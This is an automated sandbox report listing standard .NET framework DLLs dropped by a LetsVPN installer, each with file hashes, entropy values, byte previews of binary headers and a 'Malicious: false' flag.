SHA-512:	C1BBCF5772DD25B29D114B0181B907349ACEDCDE82C30D76C75B4257E46E231528D3C0B59F0B1FE0E6973ADBBD5DDDCFC710535C7A28FE911F0FD7AC37D1B784
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)1............" ..0.................. ........... ....................................`.................................S...O........................+..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......`(...D...........l...6...........................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.63165380644001
Encrypted:	false
SSDEEP:	384:DANJdesEvbDYUgmpWrxWNPfWqxWfPmnpwKANynsAw/98E9VF3AM+oAtOkaEvM:SclTD/yod2bAw/KENAMxE70
MD5:	DBFD249ED5D76598C98126B6D50EF479
SHA1:	E19E8BC586375BDF910B45C45BAD82AF60EF3B25
SHA-256:	04EE5D37A90404401FF94A4C1904ECD8D6D684C5A49B763421A8A3E5E68E3860
SHA-512:	89B4B2592C09C17E663F43ED6BD5879F61B69D598AEA0704AB1E28198F3F06C18238D05E07AF92E9518EB22EC56F9CA01A334F8D5A7CF4A5C71203EB45BCBCDE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:.[.........." ..0.............Z5... ...@....... ..............................G.....@..................................5..O....@..P............&...+...`......T4............................................... ............... ..H............text...`.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`.......$..............@..B................;5......H........!...............0..(....3......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2ra..p.(....2r...p.(....2r...p.(....2r...p.(....B.....(...........o...."..o.....BSJB............v4.0.30319..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.927838293875772
Encrypted:	false
SSDEEP:	384:dGMWCUWbopwKANynsAw/98E9VF3AM+o3303r0ND:d3HAw/KENAMxU3CD
MD5:	A2311347E254C061BF6C1F24A4A1DFA8
SHA1:	18483DB09090C9E3C7B50313C66B2340DDAF7CAC
SHA-256:	62FD18D7BB1FB2EE4F25FA443D826C009760FC7D814718223F3513F26DA51216
SHA-512:	3B2AA09F78C8F90602D4C299D46FDFFFCA58E3D10AF7081B28A2C01802C73496786B0AC35766FA2DF6D23C79C456203E9C2DB35A33AE9D3ED7CE16864287EC9C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................nB....@.................................@)..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................t)......H.......P ..8....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US. .......#GUID...0.......#Blob......................3..................................................].....]...T.J...}.....h.$.....$.....$...g.$.....$...6.$.....$.....$...Q.....:.$.................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;.....C.,...K.L...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	35304
Entropy (8bit):	6.273566191911974
Encrypted:	false
SSDEEP:	768:y44bN5hwABzKGUn11fF+1WWAw/KENAMxJo:y5bLhLBzcn1gWWAwrxe
MD5:	D9527FAA55F0D7A737845D14F0FA6FFF
SHA1:	A871AC8A95DF15D069E20DA521A215E91B0FA476
SHA-256:	F47E5FC825463E6EB7F3947A564982DE3EDE85EF9882294530B1F03CE7C3115D
SHA-512:	BD1D34565BB002998E9A68649BCD96AEE24138944D8B1BA702639CF412044B0F08965B62DF08C68B0EF2FC6D16201B293EB420DA60A95B7EF5102E56EC1A8A43
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..T...........s... ........... ..............................>L....`..................................r..O....................^...+...........q..T............................................ ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............\..............@..B.................r......H........&...............U..X...`q.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.912941177738582
Encrypted:	false
SSDEEP:	384:c9BhwI7WSQWBPpwKANynsAw/98E9VF3AM+o2Yp9d:c9DwIB6Aw/KENAMxhD
MD5:	8B51C8E0F7295DD4F4CAD987DF43DCCE
SHA1:	83D9317DF8B46AA52C5AE6605B0AC451DC8C62E3
SHA-256:	0A6FA415695878ED0D59B8A09EA4C247FF12762056B637E7EA623AB0CD80F3E9
SHA-512:	1AA7FE3015AEE0C92C0869D409CD4965F0B5326195728E16671DC87E1AE4639ABBCC6CBA5D609995EA5D90FBEF17406D2843B14571FB7D19BF935C8715EEB4AF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................w....@.................................l(..O....@..P................+...`......4'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..d....................&......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................f.....:.....2.....N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.925029499359628
Encrypted:	false
SSDEEP:	384:jyvPRW4lWSlpwKANynsAw/98E9VF3AM+oayAYX:+39mAw/KENAMxp
MD5:	CF7BD5371870C68B3F0B3D28706445AD
SHA1:	8A9BBC216417D64C7C2BD2F999716272AEA48775
SHA-256:	97F68D3B3E4D60C8A66C6E05484D684572D7120EBF160FE644C7EBF0AD0149B1
SHA-512:	BBAF7E0E430889634A1CC5C0BE5B0B329EE4B5F6BE5452AE8948312D5AD83C6A40FF018768F99ACF1B270AD8BCAD562AE396F5ECE6C671D686318AC789979758
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................>.....@..................................)..O....@...................+...`......l(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................f.....:...........N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.&...K.F...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.877846883270474
Encrypted:	false
SSDEEP:	384:H6RW6eWqkpwKANynsAw/98E9VF3AM+od0q9SR:H67cAw/KENAMxez
MD5:	3E2F799AB970A41C2C8E5E7534845C24
SHA1:	1FE64C66F7A83551436BF4B3EFFF8945205E85FE
SHA-256:	427F56E9C708F3E46A24A362C75C94048ECF421941D450005DDCAACA956BF449
SHA-512:	DE901852EC48E27D29CBD035D38005854A55EE7F847C27E8453A74B534B1AB4FB097E929F65C205C7440D457F329EBD9CC06CFE4CA21A1023360D8D435C88A6A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............-... ...@....... ...............................F....@..................................-..O....@...................+...`......P,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................+......................................BSJB............v4.0.30319......l.......#~..\.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3......................................5.........c.............z...............(.....E.....................................Q.........../...........b.....b.....b...).b...1.b...9.b...A.b...I.b...Q.b...Y.b...a.b...i.b...q.b.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.908980993884322
Encrypted:	false
SSDEEP:	384:JSUP9W70WY1pwKANynsAw/98E9VF3AM+ox/E1:QUe1Aw/KENAMxxg
MD5:	F2174ACB80D143534E86251227B61754
SHA1:	904DA138FAED4E5E58C1F81DAD95B8A64DD9D66E
SHA-256:	359C5BDDACD7DBE19E7E98067519B4A4EACD68515DEF059C5B4EBFE07857DBDF
SHA-512:	8FD48CDB9EAF955D8C5F6F76CEF26F6E30231F8214341DD82053B7CFEB8821C9F2B6F8E8421A40196DC0532DBC9DAB1AC581F4E63FA08718ACA38153724A84CD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................M....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID...........#Blob......................3..................................................&.....&...p.....F.............................9.....R.................m.....V...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.906006192564813
Encrypted:	false
SSDEEP:	384:K8yg07W0/W82pwKANynsAw/98E9VF3AM+ob/Ggha:KBHZAw/KENAMx7Hs
MD5:	B7F1F348FB749AFEA248B49C06157E47
SHA1:	3EFD58FC81DFC96A330B671627B03DA05D9B03B7
SHA-256:	187D6A46549050C706E5DCA0E80632C54CAB234CF18C53EC746558D1AD866CB4
SHA-512:	5CB4058ACEC2A08FC269464C486FFBA9CEEBCC16EBA8D3448F4CB255C71CA6EC2751468128CB74F74FC89DD12E552A30C38729C995C82AA3DE842DB846B38D22
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................`....@..................................(..O....@...................+...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...d...#Strings............#US.........#GUID...........#Blob......................3.................................................."....."...m.....B.............................6.....O.................j.....S.......(...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.871260511266613
Encrypted:	false
SSDEEP:	384:je1WmRWlbpwKANynsAw/98E9VF3AM+oTyp9QU:jejfAw/KENAMx+pV
MD5:	27F0BCCBF696F5F8346CEA6F86794100
SHA1:	FBA05E15CAA7C24921DAC2886619B7810C052B13
SHA-256:	55223D201D441AA3385A1F5C74FB6A262E3E295BA8E934DEF97BB98AB47BD887
SHA-512:	566DE66663F59478495A80427AFFDBEA39B8E566B9245D9B196A3D1EAA5BB493BEAB3F8BA89A4B16A736E7572975905154D831520700E8B98E32FDF628AF8EB6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................T....@.................................p(..O....@...................+...`......8'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..h....................&......................................BSJB............v4.0.30319......l.......#~.. ...0...#Strings....P.......#US.T.......#GUID...d.......#Blob......................3............................................................f...........z.................y...../.....H.................c.....L.......,...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.(...K.H...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	365544
Entropy (8bit):	5.907896588749653
Encrypted:	false
SSDEEP:	6144:eA0HY8o04jatc9MCELK5h+BO2L1fsqF030MhU:eA0HYnitRCOFOI1WfU
MD5:	AF5AAAEF554DD9A976568304EAFAC781
SHA1:	75CE538111D00E957DC608C1B7B9AD063AA55CBB
SHA-256:	52EFAACC812848164955787C7ED20FC330CF89C65CBA39B0E008E65ED852D25F
SHA-512:	4827497E0F1ECD2C20BC4AB268EC427A6D5301AA12F6A83EA54E7F3AF197C98F381A62B524DD086DB80FA032C1133C3FC50D0941B96C43C6A5C8CF764AF747D6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;..........." ..0..`...........~... ........... ..............................<1....`.................................?~..O....................h...+..........\}..T............................................ ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@..@.reloc...............f..............@..B................s~......H.......t\|..h....................\|........................................('.....((.....(#............(......(......(......(.........(1.......(....................(......(......(......(......(......(......(......(.....................().....()...........(........(......(......(......(......('.......Q...(.....................('.....((..............('.....('.......................('.........

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	143336
Entropy (8bit):	6.177665404019452
Encrypted:	false
SSDEEP:	3072:WUGrszKKLB8a9DvrJeeesIf3amN32AW/rcjhFdj:hB8l3/aK32eh7j
MD5:	981CAEC25ECADC701AB4447AFFAEF1DE
SHA1:	620E2FB15BB20D769D8855B3881FDD18A2BA0403
SHA-256:	21B9D6C1317A1977E7C0D1CC06446BA422C7EAC66643518D99466616F7806AA9
SHA-512:	B0A95935C2D9571CEA5FDF4831E4D67D39CEEFC762DB1F23106FA995332B54C12A1BDF97248118A83F485248EAAA1980CB6560A8C967432318671C79193CC0F0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6wb.........." ..0.................. ... ....... .......................`......6.....@.................................`...O.... ..@................+...@......(................................................ ............... ..H............text........ ...................... ..`.rsrc...@.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...>..}......}......{......{......{.....{....3..{.....{....((......0...........%.u....,..........(.....z.{....%-.&.+.o)....{....(a.....(....zN........o...s+....(....z.s,.....(....zF(U....(O...s-....(....z.(V...s-....(....z.s.....(....z.s/.....(....zN........o...s0....(....zrr...p(\....c.K...(O...s1....(....zBr...p(Y...s1....(....z.s2....(....z.(X...s3....(!...z.(_...s3...*.(#...z

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	193512
Entropy (8bit):	6.125628048669688
Encrypted:	false
SSDEEP:	3072:seruQlNGOhYq0AQcTvankc+8lbKta4FUPAT8xpRI454I/Kv6RpZ8dwPSgxhL:FW60VcTvakcXcApOghL
MD5:	6D89FD823B94BE6C2E534FF57ABA3DB9
SHA1:	944518F037278434B44ADEE7ECC7BCFC02A3671D
SHA-256:	0C7A84C6226A8D99C7F2507025FEDE186780633A3943013E0BE7607167C97BAC
SHA-512:	EB77A0A02835DCBF992EFE485767325BE5A504D5ED7468A6736AE9A37AC62D2FD122C03442B2D4DB11BE285598B6653133CA2D87D5DF74AE7B4A920427AC297D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.................. ........... ....................... .......{....@.....................................O.......h................+........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...h...........................@..@.reloc..............................@..B........................H........$..H...........$....,...........................................0..,........ ....1.r...ps0...z.............(.....s1....0..l........J.2..J.o2...2.r...ps0...z..Jo3....%36.o2....JY.2..J.Xo3.....J.Xo3...(...... ........J.XT....J...XT.o3.....o2....Y./....o3....%3 ...Xo3......Xo3...(.... ..........0..=..........J...XT..%....J...XT.~..... ...._.c.....J...XT.~......._......0............02...91...A2...F1...a2...f1. ....*..91...F1...aY+...AY..X+...0Y...02...91...A2...F

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	37864
Entropy (8bit):	6.424371908906091
Encrypted:	false
SSDEEP:	384:OVRG18S8ZaRMtn/RF6XbPnP8hbUePwV/QjTGIHeesAc1pwKANynsAw/98E9VF3A3:OVc1GUMB/z6XmY/iee5/Aw/KENAMx8R
MD5:	F40C07C648C8C38147C59A9C61239361
SHA1:	8AD1B7F295E4E00CEFC6F05EC2F3C1E0B8A62172
SHA-256:	201DC7B20D6CBA7EB4DC2048956B280C1A09E7A48CAE5CB99FD5C95222FFFB8D
SHA-512:	52001DD577222B85BB40794787805B6EB5CBF12EECB64BD5A2C7DEDB18650698ACA75EAB741E51068179C4E3A4629D4569042B3D068295B2EF60DBE9A3808ACB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..\..........r{... ........... ..............................(.....`..................................{..O.......h............h...+..........0z..T............................................ ............... ..H............text....[... ...\.................. ..`.rsrc...h............^..............@..@.reloc...............f..............@..B................Q{......H.......D>..l;...................y.......................................0..v.........(.......i.Y...i.Zs.........(.......o.....0....(.....3...0o....&..o ...&..Y.+......(......0o!...o ...&..Y.../..o"...6..r...p(#....0............(.......i.Y...i.[.X.Zs.......i.]..-......+....b......%.Y..X....Y..-....($........o.....0....(.....3...0o....&...o ...&+1.....b...Y..bX...Y.X......($.....0o!...o ...&..Y.../..o"...*...0..d.........(.......X...i.3..+.../......+......f...X....i.Y2...i.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.891711536643205
Encrypted:	false
SSDEEP:	384:L6ZWYLWIdpwKANynsAw/98E9VF3AM+o/MhJw4:L6lyAw/KENAMxUfw4
MD5:	5CF8352288A3E2C194B8916DE5E1CF8D
SHA1:	22ABC0FDE9C48B1529D920E03966AB14FFDD9F3C
SHA-256:	0120BAB0F8FA20274F13F8BF0D2177B0D7F247F1090AB94CC3DF50540CF5EEED
SHA-512:	5668AB6455594F2253ED995C71405CADA14365D46BC70A0D125267BC0855D7555048FC9598DAAB3C4054708838A2B2E111FD22B697C7E654A13F02E4F109AB86
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@.. ................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......0...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.8495734817007135
Encrypted:	false
SSDEEP:	384:nZ1W1WMQWhRpwKANynsAw/98E9VF3AM+oZbgr:21MAw/KENAMxw
MD5:	4F27F06AAC9439B3673212E0E372C195
SHA1:	0546CD67233E8F65DFD080FFC4EC8482068F6F62
SHA-256:	7FA0F04C2F17575754CC48EAC4131874F8A1F2CAC761DDB51FD691938CB3EEF1
SHA-512:	32513A64091B2391B4A5FCDEE2535D9933EDBC1DD048CD9CA4007880EE61C049A0522D4695FB38FEE657DCB8D4DDB70ED4A8B3219B374CDB278A0AAB0BC0EB73
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............,... ...@....... ..............................J.....@..................................,..O....@..@................+...`......p+............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....t.......#US.x.......#GUID...........#Blob......................3................................!...............E.................%.................'...........e.....~...........................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.:...K.Z...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.883311037346329
Encrypted:	false
SSDEEP:	384:KdSWSKWUxpwKANynsAw/98E9VF3AM+otIRE6D6S:MOfAw/KENAMxtWP5
MD5:	53F96C63BE9243B0B5E0B4DBCA8F4A39
SHA1:	4FEC6835E51FE0480FD9A91EBF88093D4A17E142
SHA-256:	968C6736BE25FD635DEDC7A7DE410ABE17BEF44F7B3FE07E7A38BE8C35175989
SHA-512:	C71252457CC52B76F6958C366E05FE06AF17DEBE8CAEA7E890B5F4339CF546F8A63FF2EA100AEFCA23B8A9E4289E62FDCF36D96BA722DF75A1D94ADB53CF139E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................Q4....@..................................(..O....@...................+...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...L...#Strings....l.......#US.p.......#GUID...........#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.,...K.L...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.805651039589859
Encrypted:	false
SSDEEP:	384:qJEYA2WkIWpEpwKANynsAw/98E9VF3AM+om6sYx9D:qyYA8NAw/KENAMxVPD
MD5:	8AF7247A87E7527320DCEE21D09D6CF1
SHA1:	5155B695010E577314EC3C3D7050C993A10C3EDD
SHA-256:	3EA9E823E4F2C4D974026E34BE287801B3D71C390C86BDF2A1A3061B8203E250
SHA-512:	D46D9C644316F2648E3C019ED11EBDCE67958B430C32C1FEB5B25BC808288D4DEDC5D7D0299C9547A88F37176EDC92A10D83D8674E7441AB9BAE9AE100D50723
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ...............................L....@................................. ,..O....@...................+...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l.......#~..\|...x...#Strings............#US.........#GUID...........#Blob......................3......................................$.........N.U.....U.....-...u.................0...........n.........................>.......................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.928221667503601
Encrypted:	false
SSDEEP:	384:mJGWe4WeYpwKANynsAw/98E9VF3AM+o02Mp:qm6Aw/KENAMx2p
MD5:	2797E1151B356A42E082273195B6773C
SHA1:	59FC174B188CF5EED6D3AE6ACF01A40014614410
SHA-256:	443275D642CC88AE05BEC977B3A7906B9B3DB382B22CD0CEBE08ECA118DA1FDC
SHA-512:	3958EA65A30006D8E4B9A7E513DB12C9E69AE16E6C4ED27589D18438DA0D78D7CBAE8B4F30F02D89B86A683A37875D271CFF1B5EB931A2D88672081E0455F04B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@.................................0)..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d)......H.......P ..(...................x'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob......................3..................................................4...~.4...R.!...T.....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.845488888859241
Encrypted:	false
SSDEEP:	384:AdW1w3WesWa7pwKANynsAw/98E9VF3AM+oV45ho:51wxdAw/KENAMxIho
MD5:	8E75452F26F1DD475C790DAEA35979A3
SHA1:	A870500E220B0A1F4E60A05652F660267BB4E6BF
SHA-256:	C3E8D1A2C5AA7EDAAE3E42DF3D5C40FDBD77C2A026D851902795ECDADBF1376F
SHA-512:	5DF0F7D1252AC1A7369F5533D305293E22586852F5E16F2AAE9C34581787D5C89C0B242446F2EE85F2BB2C50CA86103F812231EFE78FF0253789EA029682B869
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............~... ...@....... ...............................p....@.................................,..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`*......H.......P ..$...................t(......................................BSJB............v4.0.30319......l...$...#~......t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.<.....<.....<...C.<.....<.....<...[.<...x.<...-.......<.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25576
Entropy (8bit):	6.645198805547004
Encrypted:	false
SSDEEP:	384:eylNGlfdqj5531HJTABhf8g2MkO1ICMbmiT2Y4Y3ocWS9sWvW8YsWUJGpwKANynx:eyp12Bhkg3qnV/sULAw/KENAMxw
MD5:	0117EDAC090D4B6F45B66B4EB5B1E61A
SHA1:	9DABCFC9D00DFFAD6EFB04DAEE7138BA7B41BAEE
SHA-256:	3A968E6CB20814E4FDF5439AC2AFE609B5294BD9BA7412A0DE98D4C741F8CD9F
SHA-512:	63DCCBD83A4F83A0716DD7A55589D8C969A346836E9D2B0B0BAFCC62843059A75A61CDECA4B0080B8107D6625606A124773FE4557CD97FEAEEAA533278CC609B
Malicious:	false
